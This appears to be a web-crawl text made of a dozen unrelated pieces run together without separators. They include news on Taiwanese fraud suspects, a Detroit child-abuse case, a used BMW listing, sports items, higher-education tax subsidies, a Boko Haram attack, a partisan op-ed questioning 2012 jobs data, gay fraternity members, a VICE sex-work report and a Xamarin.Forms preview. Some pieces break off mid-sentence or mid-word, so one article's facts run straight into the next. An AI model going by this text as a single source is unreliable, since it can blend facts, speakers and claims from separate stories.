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Beijing says it wants to try the suspects deported from Malaysia on the mainland because they were part of a telecom fraud ring that targeted Chinese victims. China’s Ministry of Public Security said they will undergo proceedings under the “mainland judiciary”.
“The 32 Taiwanese suspects confessed to committing fraud and have been detained according to law,” mainland police said, according to the official Xinhua news agency.
The report quoted a 72-year-old cancer patient who was tricked into depositing two million yuan (USD 152,835) into a “safety account” as part of the fraud scheme.
“This is my medical savings and it’s all been cheated,” said the woman surnamed Guo.
“I hope Taiwan will hand these crooks over to the mainland so they can be punished by law,” she said.
Taiwan’s Ministry of Justice, which has been leading negotiations with the mainland over its detained nationals, was not immediately available for comment.
Taiwan sent a delegation to meet mainland police and discuss the Malaysia case over the weekend.
Twenty other Taiwanese suspects arrested in the Malaysia raids were deported back to Taiwan last month and are currently under investigation.
Chinese state media has also said previously that the Kenya suspects have admitted their guilt and will be tried on the mainland.
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Taiwan is self-ruling after splitting with the mainland in 1949, following a civil war, but China still sees it as part of its territory waiting to be reunified.Story highlights Authorities searched for 12-year-old Charlie Bothuell V for 11 days
His father had reported him missing
He was found barricaded in his father's basement
In court papers, the boy tells of forced twice-a-day exercise that included 100 push-ups
Twice each day, 12-year-old Charlie Bothuell V says in court documents, he was forced to do 100 push-ups, 200 sit-ups and 100 jumping jacks. He told child welfare investigators in Michigan that he'd have to curl a 25-pound weight on each arm and do 5,000 revolutions on an exercise machine, and if he didn't finish in less than an hour, he'd have to do the routine again, according a petition filed in Wayne County court in Michigan this week.
The Detroit boy said that he feared being "in trouble again" for not completing his work-out routine. Sometimes he couldn't finish because he was in too much pain, he said.
Charlie made national news in June when his father Charlie Bothuell IV said his son went missing for 11 days, prompting a search that involved the FBI and that ended bizarrely when the child turned up barricaded in the father's basement.
The father was talking live on air with HLN's Nancy Grace when he learned that state police had discovered his son, appearing shocked when Grace told him that she'd just received breaking news about it.
On her show, the elder Bothuell became visibly upset. He started breathing hard and clutching at his chest, and told Grace that he had no idea how his son could have been in the basement.
JUST WATCHED Nancy Grace: Not ready to jump on father Replay More Videos... MUST WATCH Nancy Grace: Not ready to jump on father 04:31
JUST WATCHED Watch: Dad learns on air his son found Replay More Videos... MUST WATCH Watch: Dad learns on air his son found 03:05
"I checked my basement. The FBI checked my basement. The police checked my basement," he said on air. "My wife checked my basement. I've been down there several times. We've all been checking."
Bothuell added that his home has been searched repeatedly by law enforcement trying to find his son. Police and the FBI also have said they searched several times and didn't see the boy and now indicate he might have moved during the 11 days -- they won't say yet specifically what their investigation revealed.
'Never seen anything quite like this'
At the time, Detroit Police Chief James Craig reacted to the discovery of the boy with his own disbelief.
"I've never seen anything quite like this," Craig told CNN affiliate WXYZ-TV. "We found him barricaded in the basement, behind boxes and a large... drum. There's no way he could have erected this makeshift area of concealment."
This week, Detroit Police Sgt. Michael Woody reiterated how surprised police were that the boy turned up in the basement. He told CNN, "It's possible" that investigators "didn't see" the boy while they searched the home from attic to basement.
The department is reviewing its procedures, he added.
A petition, signed Monday, and filed in Wayne County juvenile court describes allegations of abuse that the boy says he endured from his father and stepmother, Monique Arnel Dillard-Bothuell.
Neither have been charged; in fact, no one has been charged with anything in the case.
Blood found on PVC pipe
Wayne County child protective services opened an investigation of the family June 23 as FBI agents were looking into the boy's disappearance.
Petitions seeking state custody of Charlie and his younger siblings were filed this week. They say that on June 23, the father "disclosed physically disciplining Charlie V with a PVC pipe. An FBI search of the home produced the PVC pipe with which Charlie V was disciplined. It was disclosed that blood was found on the pipe."
On June 25, the documents say, the boy was found in the basement of the Bothuell home. He was taken to a hospital and a doctor examined him, finding a "half circular scar" on the 12-year-old's chest.
The boy said that scar was a "result of his father driving a PVC pipe into his chest." The child was "also observed to have old scars on his buttocks from being hit with the pipe," the document states.
Boy says he heard authorities searching
Representatives from the state's protective services agency witnessed two forensic interviews of the boy, according to the petitions, including an FBI interview on July 1. Charlie V made numerous allegations, saying that he was disciplined with a PVC pipe to the point that he was too sore to walk or sit and that he'd been punched by his stepmother who, he said, told him, "I can make you disappear."
The boy said that the stepmother accused him of lying about whether he'd finished his workout, and put him in the basement on June 14.
The boy told interviewers that he showered and put on his pajamas for the evening before entering the kitchen where his stepmother was "very upset regarding the workout," the petition states.
"Charlie V reported Mrs. Dillard-Bothuell's voice was angry. Charlie V felt as if he did not have a choice, so he did as he was told," it continues. "Charlie V followed Mrs. Dillard-Bothuell to the basement. She then led Charlie V to the back of the basement" and gestured to an area along a wall. The boy said that she told him, "There, back there, go!"
The petition states the boy said he climbed over a drum and that she added boxes to conceal him, and then went upstairs, called his father and said that the boy was missing, that she'd looked "everywhere" for him. Police said it was a 55-gallon drum, clarifying the petition's description as a "5-gallon" drum.
When the stepmother came down to the basement, the petition says, she would approach the area where the boy was and say, "Shut up, stay quiet and don't say anything no matter what you hear!"
"Charlie V reported Mrs. Dillard-Bothuell never brought him food, or anything to drink the entire time he was in the basement," the petition states. When the house fell silent, he would run upstairs to grab food.
The boy told interviewers that he heard authorities come to the house while he was in the basement.
The Wayne County prosecutor's office will decide whether criminal charges will be filed but had no public statement Thursday.
A hearing was held in the case Thursday but state authorities would not discuss it, citing their regulations in cases involving children. Developments included a psychological evaluation being ordered for the 12-year-old to determine whether his father can have visitation rights, and discussions of petitions on termination of parental rights.
Meanwhile, police told CNN that they have no reasons to disbelieve Charlie's claims. Police Sgt. Woody added that full results of the investigation have yet to be released.
Efforts to reach Mark Magidson, an attorney for the boy's father and stepmother, were not immediately successful Thursday afternoon.
And police were not commenting on the boy's whereabouts beyond telling CNN that he is living with a relative for the time being.
Another hearing is scheduled for July 17.Year: 1998
Make: BMW
Model: M3
Price: $16000
Mileage: 39500
Color: Titanium Silver Metallic
Private or Dealer Listing: Private Listing
Location (State): AZ
Transmission: Manual
Drivetrain: Rear Wheel Drive
SOLD
1998 BMW M3 Sedan 5-speed manualOne-owner 39,500 milesTitanium Silver Metallic with Grey Leather interiorOriginal MSRP $43,915Options List:Power SunroofPower Front SeatsFold-Down Rear SeatsCruise ControlOn-Board ComputerHarman-Kardon Sound SystemThis mint condition, extremely low miles, e36 M3 is owned by my grandmother. The car was purchased brand new by my grandfather from the BMW dealership in Las Vegas. Unfortunately, he suffered a stroke less than a year after purchasing, which prevented him from driving his dream car. The car has spent it's entire life in Arizona, where it was driven very sparingly by my grandmother over the last 17 years. The car has been very well taken care of, never modified (not even window tint) and never abused. The owner literally drove it like a grandma.The exterior of the car is in excellent condition with the exception of one small dent in the roof panel. In some photos you may notice that the front BMW badge has had the paint worn off, but I have gone ahead and already replaced it with a new one. Overall exterior condition 9/10The interior of the car is fantastic. It is amazing how little seat wear occurs when only driven by a 90lb, 88 year old woman. The only worn areas are the steering wheel and shift ****. Apparently, grandma still has a pretty fierce grip. Overall interior condition 9/10Mechanically the car runs and drives great. The only exception is that I can hear a slight buzz/whine noise when depressing the clutch pedal, which tells me that the throwout bearing is worn out. This is a pretty common issue with these cars and is only noticeable with the windows up and the radio off. Overall mechanical condition 8.5/10Overall, the car is immaculate and with very little effort, you could put this car into showroom condition. My grandmother has decided to sell the car because she rarely drives it anymore and spends more time worrying about it than anything else. I have agreed to help her sell it as she knows little about how to sell a car on the internet. The car is currently in my possession and you can contact me with any questions. Clean title. No trades. Asking $16K, price is firm for now.BOSTON -- After dropping Game 2 of a second-round series to the Boston Celtics in an overtime thriller, Scott Brooks fielded a question about the Washington Wizards' foul trouble.
"Nice try," replied the Wizards coach. "Next question."
Brooks delivered the line like he did not want to discuss the officiating. But he returned to the topic later, unprovoked, to share a desire for the Celtics to keep their hands off Bradley Beal. The shooting guard scored just 14 points on 4-for-15 shooting and committed six turnovers. He also missed some critical shots, including a potential game-winner at the end of regulation.
"We have to do a better job of getting their hands off of him, one," Brooks said. "If they're going to allow him to be guarded that way we've got to make some adjustments ourselves. We're going to look at the film and try to figure out how to get their hands off him. You're not allowed to do that, but we have to figure out how to get some better looks for him. But that's part of something we have to figure that out as a staff."
Beal took six free throws in Game 2, which the Celtics won largely because Isaiah Thomas went bonkers.With the help of Jack Millman, a New York University law student specializing in tax policy and a certified public accountant, I’ve analyzed federal subsidies for higher education in every year from 1980 to the present. What follows are my findings:
The federal government is currently spending approximately $80 billion per year on subsidies for higher education—a figure that almost exactly matches the combined higher-ed spending of the 50 legislatures. These subsidies can be broken up into three basic categories: direct subsidies, tax credits, and tax breaks. (The fiscal figures cited in this analysis are adjusted for inflation in 2014 dollars.)
The most important of the direct subsidies are Pell grants, which are earmarked for low-income students. This year, the government is distributing approximately $35 billion in Pell money. The Pell grant program has expanded rapidly, more than tripling in size since 2000. It’s by far the best-known source of federal subsidies to colleges and universities.
What’s far less known outside of higher-ed circles is the remarkable extent to which the federal tax code has been amended in ways that benefit colleges and universities. According to the congressional Joint Committee on Taxation’s most recent estimates of federal tax expenditures, the IRS is currently redistributing approximately $45.7 billion annually in tax revenue in ways that directly and indirectly support American higher education. (This represents a 675 percent increase in such spending since 1990.) These subsidies can come in the form of tax credits or other types of favorable tax treatment—excluding certain forms of income from taxation or creating special deductions, for example.
The policy dynamics driving these increases are fairly straightforward: Democrats generally like to subsidize public goods such as education, and Republicans typically like tax cuts. (A number of GOP politicians have also started to champion the for-profit college industry.) Tax credits and deductions for higher education enable Congress to simultaneously pursue both of these policy preferences.
Tax credits reduce the amount of income tax an individual has to pay. Currently, taxpayers (and schools) benefit from two major programs: the Lifetime Learning Credit and the American Opportunity Credit. The former allows a taxpayer to receive a credit of up to $2,000 for qualifying higher-education expenses if the person meets a few other qualifications. The latter is a slightly more generous version of the Lifetime Learning Credit that can only be claimed for college expenses for the first four years of a student’s postsecondary education. The maximum amount taxpayers can claim via the American Opportunity Credit on their 2014 return is $2,500.
Here’s how the credits work: Suppose the Smiths pay their child’s tuition at State University (a hypothetical institution). If in 2014 the Smiths paid $2,000 or more in federal income tax and $10,000 or more in tuition charges, they would be eligible for a $2,500 refund via the American Opportunity Credit or $2,000 through the Lifetime Learning Credit.UFC G.O.A.T. Anderson Silva recently announced via his manager that he would no longer be trying out for the Brazilian Olympic Taekwondo Team. However, Carlos Fernandes, president of the Brazilian Taekwondo Federation (CBTKD), was not impressed how the withdrawal took place without communication.
“We didn’t receive any contact from Anderson,” said Fernandes to Esporte, as translated by Guilherme Cruz for MMAFighting.com. “In fact, to be honest, Anderson disappeared. We e-mailed him a few times, but he hasn’t responded, and we don’t know what’s going on. We never said he would participate in the Olympic Games, but that he would be on the tryouts. I think his manager committed a mistake about this. But he didn’t communicate to the federation directly. It’s a surprise for me.
“I think it would be more ethical if he said that directly to the federation because, when he said (he wanted to be in the Olympics), he did that by sending us a letter. But I can’t say this (decision about not trying out for the Olympics) came from him. I can say that we sent him three e-mails, and he didn’t respond. I don’t know what’s going on.”
Fernandes also questioned Silva's initial interest.
“I don’t know if he did that because of the moment he was going through,” said the president, referencing Silva's failure of multiple PED tests. “But this is not a joke. It’s not a fake theater. The truth is: he doesn’t respond our e-mails. Silence implies consent, right? If he’s not responding us, he’s watching the clock ticking.”
Fernandes also expressed dissatisfaction for Silva's tenure as an ambassador for Brazilian Taekwondo.
“When we made him an ambassador, he came here and then disappeared,” said Fernandes. “I think an ambassador should be around. And then he shows up two years later. The federation made this public. He goes there, speaks and then disappears. If this is really true, it was unethical. It’s not a professional thing to do.”Boko Haram gunmen shot dead eight people in Nigeria’s remote northeast as they returned to inspect their damaged homes in an abandoned town, refugees said on Friday.
Some residents who had fled Gamboru across the border into northern Cameroon went back to the frontier town on Friday morning after hearing a rumor that Chadian and Cameroonian troops were providing security.
“We lost eight people to Boko Haram gunmen today,” said Babagana Bukar, a Nigerian from Gamboru now living in the town of Fotokol, just across the border in Cameroon.
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“Some of our people went back to Gamboru after they were told the town was safe for them…. While they were inspecting their homes, Boko Haram gunmen on a motorcycle opened fire on them killing five men and three women,” he told AFP.
Two other former residents of the town, also now living in Fotokol, supported Bukar’s account. One of them, Umar Babakalli, said two other women were seized and beaten.
They managed to make it back across the bridge that forms the border and were being treated for their injuries, he added.
Boko Haram fighters have been seen going in and out of Gamboru for months, sometimes firing rocket-propelled grenades towards Fotokol, according to those who fled.
The group, which has been pushed out of captured towns across Nigeria’s northeast by a four-nation coalition since February, are said to be dispersed in remote parts of the hard-to-reach region.
In the weeks since President Muhammadu Buhari came to power on May 29, the Islamist militants have stepped up their attacks on civilians, hitting crowded markets, mosques and churches.
More than 550 people have been killed, increasing pressure on Buhari to bring an end to the violence.
A new, strengthened regional force is due to deploy against Boko Haram by the end of this month.Why September's Unemployment Number is Suspicious
The Bureau of Labor Statistics said the unemployment rate dropped from 8.1% in August to 7.8% in September, after having been over 8% for the previous 43 months. In fact, this latest figure puts the unemployment rate exactly back to where it was in the month of President Obama's inauguration. On its face, that is not necessarily suspicious. First, the rate had been trending downward since reaching its peak in October 2009. And a drop of 0.3 percentage points is not unprecedented. In fact, since 1948 it has dropped at least that much 63 times, including as recently as January 2011.
The change in total non-farm jobs in the Establishment Survey was also in line with expectations. The "expert" consensus was an increase of about 111,000. My own prediction was 99,000. The BLS figure was 114,000 -- not all the different from expectations. The seasonal adjustment to the employment level used in the unemployment rate calculation was also not out of line. The adjustment to the employment level was downward, and by a bigger amount for any September from 1985 through 2009. So this does not look like a case of magical seasonal adjustment. But here is what I do think is suspicious: the raw employment level of the Household Survey. That number gets seasonally adjusted and then goes into the unemployment rate calculation. If that raw number is off, the unemployment rate will be off. And that number is certainly off if we judge by history. The August-to-September change, +775,000, was the largest upward Aug-Sep change in the history of the Household Survey.
That was the largest difference between the Household Survey and the Establishment Survey (Aug-Sep change) in the history of the Household Survey.
That was the only time ever that the Household Survey showed a greater increase in September than the Establishment Survey. We have been assured by "budget wonks" that "It's a statistical anomaly, not a conspiracy." If so, that was quite a statistical anomaly: the biggest in history, meaning the biggest in 65 years (for the Aug-Sep change). I'll do some math for you. Based on the previous 64 years (and assuming Aug-Sep changes are independent of each other year to year), the chances of seeing an increase that big in the Household Survey in September was 0.14%. That is well outside most reasonable statistical "confidence intervals." In short, most statistical tests would say this was not a "statistical anomaly." Of course, nothing can be proved. Rare and improbable events can happen. It's possible that an event that is expected to occur only once about every 700 years happened to occur for the first time in 65 years just one month before a presidential election. Unlikely things can happen. Like Mahmoud Ahmadinejad and Hugo Chavez getting re-elected and Saddam Hussein getting 100% of the vote. So maybe there's no reason to be suspicious. Randall Hoven can be followed on Twitter.Sophia Liu/Staff Photographer Connor Clarke (center), a wine and viticulture senior and member of Phi Kappa Psi, is an openly gay fraternity member. He is pictured here with his fraternity brothers, who he said have fully supported him since he came out to them two years ago. Clarke is one of several gay fraternity brothers who told their story to Mustang News.
Aryn Sanderson
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Tyler Earl stood on the ledge — bisexual and very, very nervous.
Ten or 20 years ago, this story might have ended differently, might have ended in tragedy.
But this story ends in applause.
Throughout the evening, one at a time, each of his Beta Theta Pi fraternity brothers had stood on that same ledge, revealed something about himself and invited any brothers who identified with him to step up onto the ledge.
It was Earl’s turn. And so, he came out.
“I climbed up on the ledge, and I said, ‘I’m bisexual,’ and everybody started clapping,” Earl, a recent alumnus, said. “They literally applauded me. It really caught me by surprise.”
His eyes welled up with tears, and he stepped down from the knee-high ledge, flabbergasted by their response.
That’s when one of his fraternity brothers climbed up onto the ledge.
“He said, ‘We’re 100 percent behind you,’ and all of the brothers stepped up onto the ledge, and suddenly, I was the only one left on the ground,” Earl said. “It was probably one of the highlights of my life.”
Not your typical “frat star”
Despite an overriding notion of heteronormativity in greek life, according to Shane L. Windmeyer, co-editor of Out on Fraternity Row, a book about gay men in fraternities, gay men are becoming more accepted in liberal regions like California.
“In the last decade, we’re seeing more and more men coming out to their brothers, and this has a really positive impact,” he said. “But there’s still a lot of work to be done because the real challenge is with more effeminate men.”
With the popularization of websites like Total Frat Move, being in a fraternity is often linked to excessive womanizing. The more a man participates in heterosexual college hookup culture, the closer he comes to epitomizing “frat” life and masculinity.
The gay or bisexual man doesn’t quite fit in.
And so, the reaction to Earl is not what most would expect from a fraternity — with date parties, exchanges and overnight trips, there is, undeniably, an assumption of heterosexuality.
But an estimated 10 percent of fraternity members nationwide don’t identify as straight, said Windmeyer. And he thinks that statistic is understated.
“One of the best ways to combat homophobia is to have the presence of out, gay men in fraternities willing to educate, willing to step up, stand up and be visible,” he said.
Stand up
Connor Clarke, wine and viticulture senior and Phi Kappa Psi brother, literally stood up.
At the end of a chapter meeting, Clarke got up and set the record straight — or not.
“It was one of those heat of the moment things where you just say exactly what you need to say,” Clarke said. “I remember toward the end of it being like, ‘I want your support, and I’d rather have fifty guys behind me,’ and then being like, ‘Oh wait, that doesn’t sound very good,’ and everybody started laughing.”
Clarke had at least eight brothers come up to him after the meeting and tell him they were proud of his courage.
“Even to this day, it’s been two years of support,” he said.
Clarke is in a long-term relationship and has taken his boyfriend to his fraternity’s formal dances, date parties and a fraternity overnight in Las Vegas, where they shared the room with a heterosexual couple.
“I got paired with somebody in my pledge class who was one of the more, if not the most, conservative people in my fraternity,” Clarke said. “But it was a really good thing, because I was talking to him afterwards, and he said it really changed his outlook.”
Gay, not girly
Still, Clarke concedes, he spent a lot of time in heteronormative culture. He played offensive tackle on his high school football team, and at 6’3 and 215 pounds, it’s hard to deny his masculinity.
That could be why he didn’t face much negativity, Windmeyer’s research suggests.
“It’s less about orientation and more about conforming to a traditional masculine gender expression,” Windmeyer said.
Theta Chi alumni Jason Bertels, for instance, said he presented himself as traditionally masculine in the presence of his fraternity brothers because he knew, “that was a way to access their respect.”
Though Bertels said being openly gay “increased the social divide” between him and some of his fraternity brothers, he picked Theta Chi because, overall, he felt welcomed.
“I remember the first time I brought a guy to a party,” Bertels said. “It was a heaven and hell party, and I walked in with this dude I was dating at the time, and our president approached me, pulled me aside and said, ‘I’m so glad you’re comfortable and willing to bring a guy.’ And I said, ‘When I joined this chapter, that’s what I was looking for: someplace that I felt comfortable.’”
Joined this chapter
Would the reactions have been as positive in another house?
Alpha Epsilon Pi alumnus Austin McBrady isn’t so sure.
“It’s accepted, but it’s obviously accepted more in the — how would you say this — well-rounded fraternities and less in the more stereotypical fraternities,” he said.
So for him, the choice was simple.
“How could I trust people as my brothers if they don’t accept me as me?” he asked. “If I had ever felt stigmatized or unwanted because of who I am, I wouldn’t have rushed or stayed in (Alpha Epsilon Pi).”
The gay fraternity
When McBrady rushed, Delta Lambda Phi, a nationally recognized gay-friendly fraternity, also existed at Cal Poly.
But Delta Lambda Phi dwindled from approximately 23 members in its heyday down to two or three at its low point, until the chapter became defunct, said Lanz Nalagan, Delta Lambda Phi’s president from 2009-2010.
Nalagan joined Delta Lambda Phi because it centered around giving gay, bisexual and progressive men a house on campus, he said.
“At the time, I was interested in joining greek life, but I was nervous to pledge a traditional fraternity because I was certainly not their typical pledge material,” he said. “I hate to be frank, but I’m quite the effeminate man.”
Nalagan said he thinks the reason that Delta Lambda Phi dissipated only a few years after its inception at Cal Poly was because “there was no longer a need.”
“More and more openly gay men were joining traditional fraternities, and DLP was not in demand, and it sucks, but it’s almost a good thing,” he said, “I know my fraternity will probably hate me for saying this, but the mere fact that recruitment became so hard after I left shows that gay men could join traditional fraternities and be welcomed for their diversity. As the years progressed, so did greek life.”
One step at a time
Though progress has been made, there is work still to be done, according to Windmeyer.
“It’s surprising that, in 2014, we know of less than a dozen fraternities that have sexual orientation in their non-discrimination policy,” he said. “We still need to do better.”
That’s why Earl is applying for law school with a focus on LGBT law.
“I put the story (of my coming out) in my law school applications,” Earl said. “But no matter what you call it, if you’re gay, bisexual, pan-sexual, omni-sexual, any category of sexuality that’s really not as prominent, there are still struggles for you out there in and beyond the greek system.”Adolescence is a key period for the emergence of psychopathology, with many psychiatric disorders having their modal age-of-onset during this period. Relative to other periods of the lifespan, susceptibility to a number of psychiatric disorders is greatest during adolescence, particularly in females. In addition, disorders which emerge during adolescence appear to be more enduring and serious than those with a later onset. Although these psychiatric conditions may appear different from each other in terms of their associated behavioral signs or symptoms, this review will argue that they involve common alterations in motivational processes or disturbances in reward processing, although the direction of such changes (hypersensitivity vs. hyposensitivity to reward) and the stage of processing affected (reward anticipation vs. receipt) may differ across broader groupings of disorder. Recent behavioral, neuropsychological and neuroimaging research on reward processing in children, adolescents, and adults with these conditions will be described and evaluated. In addition, this article will consider what these studies tell us about their etiology and highlight gaps in our knowledge base. The review will also attempt to explain why adolescence is a period of elevated risk for the development of psych |
service providers: Jimmy Lee, director of the Christian Restore NYC, and Judge Judy Kluger, the director of the feminist Sanctuary for Families (and one of the main architects of the HTICs).
In addition to counseling sessions, Sanctuary offers pro bono legal help, and Restore provides a safe house for 11 women. These services alone have no doubt improved many lives. But both Kluger and Lee believe that while the sex industry is violent against women, police are not. Restore, which sees raids as essential, even partners with the Department of Homeland Security and Immigration and Customs Enforcement.
Both believe sexual abuse by police is the exception. Both believe the system holds abusive cops accountable.
"I think, like any vast bureaucracy with a legal recourse to violence, there are abuses, and sometimes they are horrible," Lee told me. "But similar to the police, I feel like ICE, FBI, law enforcement, and the court system do and can play a very good and beneficial role in our society. And they're often led by people with a lot of honor and integrity."
Women I spoke with described these social workers as kind and helpful. But the services they provide are available without having to go through the trauma of arrest.
Both Lee and Kluger support Sweden's "Nordic model," which criminalizes clients and managers but not sex workers themselves. Its goal is to "end demand." Swedish sex workers condemn the Nordic model as deeply stigmatizing. Sex workers' landlords, drivers, and even fellow sex workers risk being charged with pimping. Fewer clients means poorer workers, who are less able to negotiate for their safety.
This wouldn't give anti-trafficking advocates pause.
Kluger told me that sex work is inherently degrading—not something anyone could freely choose. She doesn't buy the articles whose writers say they paid for college by working as escorts. She claims sex workers have sex with 30 people a day and calls Amsterdam's red-light district the "saddest sight [she's] ever seen."
To Lee and Kluger, the willing sex worker is either fictional or self-deluding. They prefer the term "prostituted woman."
According to Kluger, the HTICs are decriminalizing prostitution in the court system, despite the arrests and incarcerations that underpin the courts. Her perception of sex workers comes from the women who have stood before her bench. To her, they seem "comatose," emotionless, controlled by traffickers and pimps. To validate their emotions, Lee and Kluger both rely on long-discredited statistics that are mantras in the anti-trafficking world: "70 percent of trafficking is sex trafficking"; "the average age of entry into prostitution is 12 to 14 years old."
When asked, neither could cite their sources.
But even if you believed all prostitutes were raped and trafficked women, the way police treat them makes about as much sense as arresting battered wives.
In 2009, the Sex Workers Project released a report on the sort of brothel raid anti-trafficking advocates like Nicholas Kristof support. "These raids are ugly and horrible," one trafficking victim told SWP. "Being afraid never goes away." One trafficked woman said police pistol-whipped her. Others were handcuffed, threatened, or hauled off in skimpy work clothes.
When in November 2014 the New York Times profiled the Queens HTIC, the author summarized the feelings of more than a dozen Chinese migrants in court: "They did not feel like trafficking victims, but victims of the police."
On November 1, I returned to the Bronx courtroom to hear Love's verdict. She'd been deeply shaken by the undercover officer but promised to talk to me later, when she was "less tired and less pained." Before the lawyers began speaking, Judge Michels called me to the bench. She told me nervously that journalists filter things through a prism and sometimes very ordinary things are blown up.
In her closing remarks, Love's lawyer stated that the prosecution had no evidence she had solicited the undercover cop. She talked about the big raid the police had planned that day, with ten officers, four cars. They had been out for five hours with no arrests. To them, Love was just a body to fill the prisoner van.
The prosecutor began his statement: "'I can give you a blowjob for twenty. If you want to fuck it's thirty. We can do it on the street,'" he said, mocking Love. He ridiculed her PTSD and kept describing her blond hair and gold shirt. He doubted why Love would be in an area where she neither lived nor worked. He said her previous prostitution arrests undermined her credibility, while police would have no reason to lie. He even denied she felt humiliated. He called the case a simple one. "It's fitting," he drawled. "The crime of prostitution has few elements. Two people. Money."
Love stared at the prosecutor, her face a mask of anger. Tears gathered below her eyes. She wouldn't let them fall.
In the name of helping women, the anti-trafficking movement has endorsed surveillance.
The 19th century saw the rise of a pious, middle-class feminism, devoted to the moral uplift of the poor. By ministering to prostitutes, middle-class women got both respectable jobs and the frisson of proximity to vice. But as Northwestern University professor Ellen Carol DuBois has written:
The catch was that the prostitutes had to agree that they were victims. The "white slavery" interpretation of prostitution—that prostitutes had been forced into the business—allowed feminists to see themselves as rescuers of slaves. But if the prostitutes were not contrite... they lost their claim to the aid and sympathy of the reformers.
Those reformers are the grandmothers of today's anti-trafficking movement. But the pity many anti-trafficking advocates feel for sex workers is not conducive to respect. Sex workers and trafficked people remain projects, not equals—to be forced into help they didn't ask for by the threat of police violence. Their hearts ache for these women. They won't listen to them speak.
In the name of helping women, the anti-trafficking movement has endorsed surveillance. They've shuttered websites where sex workers advertise or organize. They support brothel raids, police, and NGOs that have chucked overseas prostitutes into sweatshops. They have created a false dichotomy: weeping victims and the rare "Happy Hookers" who pair their white privilege with Louboutins.
They have denied the existence of women like Love.
When Love heard the not-guilty verdict, she waited until she'd left the courtroom to fall into her lawyer's arms.
When I met Love the next week, in a Bronx diner with her lawyers, the pain of the trial had faded from her face. In a bright red dress and rhinestone-studded necktie, she looked strong and rested, ready to start her internship as a surgical technician.
"Almost everyone who is charged with prostitution enters a plea bargain, but you chose to fight the charge. Why?" I asked Love.
"Because it wasn't... not this time. Nuh-uh," she said, pausing.
"When will prostitution be legal?" Love asked, sipping the last of her soda. "These are petty crimes. It's a waste of taxpayers' money. It's a waste of manpower. It's just a freaking waste."
For more on sex work, check out the infographic "Fuckonomics: Sex Work by the Numbers" by Haisam Hussein, which also appears in the January issue of VICE.Abstract: The next version of Xamarin.Forms was recently announced at Microsoft Build 2017. This article gives an overview of some upcoming cool features in Xamarin.Forms v3.
At the Microsoft Build conference this year, Xamarin presented the next iteration of Xamarin.Forms v3. In this article, I will show you a few cool features that they announced and what you can expect of this new version.
What is Xamarin.Forms?
Before we dive right in and show you what to expect from the latest Xamarin.Forms release, let me first tell you a little bit about what Xamarin.Forms is exactly.
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If you have worked with, or looked up Xamarin before, you’ll probably know by now that it is a great solution to create multi-platform apps based on C# and.NET. You can use it to share all of your business logic throughout all of your apps across Android, iOS, UWP and even across a lot more platforms these days like the Raspberry Pi, Apple TV, etc.
While this is great in itself, Xamarin took it a step further and added the missing link.
With ‘traditional Xamarin’, as they now call it, you can do everything I have mentioned before, but you will still have to put in efforts in the user interface (UI) for each platform.
And that is just fine!
You can leverage the powerful tools that are already available for the respective platform to create a UI that integrates seemingly with the OS that you are targeting. On May 28th of 2014, Xamarin introduced Xamarin.Forms as part of Xamarin version 3.
With Forms, Xamarin then enabled developers to also share the UI code across all platforms.
An abstraction layer was introduced with which an Entry or Label could be defined. Then, with the power of Xamarin.Forms, it would be translated to the native equivalent on the platform that the app is running on at that time.
For instance, this would be a UITextView for iOS, a EditText for Android and a TextBox on Windows in the case of an Entry. To define this shared UI code, you can either use XAML – a XML-based language to define user interfaces – but you can also define the UI in C# code.
In the fall of 2017, Xamarin Forms is coming up with its next milestone version : Xamarin.Forms 3.
Note: The versioning of Xamarin and Xamarin.Forms are not aligned. Ahead of this release, I will walk you through some of the key features that they have already announced, and are even available for you today!
Coming to you in Xamarin.Forms 3
Besides a whole lot of bugfixes and improvements, these are some cool features that you want to look for in the new version of Forms.
Xamarin.Forms Embedding
Since half-way 2016, there is already a thing called ‘native embedding’ in Xamarin.Forms.
With this feature, you can embed native controls that do not have a Forms abstract counterpart (yet). Some good examples of this are the UISegmentedControl on iOS and the Floating Action Button (FAB) on Android.
These controls are so specific and characteristic to their respective platforms, that they are unlikely to get an abstraction, so you can use it across platforms. With native embedding, the Xamarin team has done a great job in finding a way to add these controls to that specific platform, but in a generic way.
You can read more on this here: https://blog.xamarin.com/embedding-native-controls-into-xamarin-forms/.
Xamarin.Forms Embedding, is just the other way around.
With this method, you can embed Xamarin.Forms controls, pages and all other elements into your traditional Xamarin app, with traditional Xamarin being an app written in C# but using the native UI elements. This enables you to gradually transition from your old Xamarin app, into a new one and with an even more code-sharing Xamarin.Forms app.
Not really a part of the new Forms version, but still nice to mention in this context is the Embeddinator-4000. This application allows you to convert a.NET library into an Objective-C and/or Java one. This way, you can even start converting your existing native apps to Xamarin in phases.
More platforms are supported
Xamarin already enables you to develop C# code for a wide variety of platforms. Most obvious are the phone and tablet platforms: Android, iOS and Windows.
But did you know you could also run your code on a PlayStation 4, Xbox, Google Glass, Amazon Kindle, Linux, etc?
Here yet again, watch out that it does not mean that whenever Xamarin runs somewhere, Xamarin.Forms is supported as well. The platforms that are supported in Forms would be: Android, iOS, Windows Phone and UWP. Most recently Mac OS was added, the desktop OS by Apple.
And now, support for some new platforms are coming up!
The team is working hard to support GTK#, a.NET wrapper for GTK+, the UI toolkit mainly used on Linux system. This means that you can also easily design forms for a wide variety of Linux distributions in the near future. And WPF will be a supported platform as well, I will talk about that a little bit later on in the XAML Standard section.
Enhancements and more speed
The new major release of Forms will mostly be about stability and improvement. This means that they have gone back to the drawing board with the current version and took a long and good look on where improvements could be made.
Control renderers
When we take a closer look at the inner workings of Xamarin.Forms, we will find an important role furnished in the so-called ‘renderers’.
It is the responsibility of the Forms libraries to translate – or better yet, render the elements that you define in an abstract manner, to their native counterpart. Have a look at the figure 1 to see how that works.
Figure 1: Overview of how a renderer does its work. Image courtesy by Xamarin.
Because this is a large part of the Xamarin.Forms solution, you can imagine that optimizing this process can make a tremendous difference. The next generation of renderers that they are implementing now are called fast renderers.
Layout compression
The renderers discussed above, mostly do their work at runtime. Whenever a page is requested, it will take that page and go through the whole visual tree and start rendering all the controls that are on it. This is time consuming and also reflects on the memory usage.
In the version of Forms that is to be released, layout compression will be available. When enabled, the layouts will be optimized at compile time and thus improve performance at run time.
New binding type
One of the Xamarin Forms pillars, is data-binding.
This supports the use of architectural patterns like the MVVM pattern. In short, you do not need to reference actual controls by their name to give them a specific value. Instead, you turn it around; you tell the control from which property it needs to take the value, in your code-behind.
This way, your code is more decoupled because you do not have to refactor your code when a new UI is developed. Just make sure the new UI also references the right properties in your code and you are good to go.
Data-binding can have a great impact on your performance. There are a few different data-binding modes.
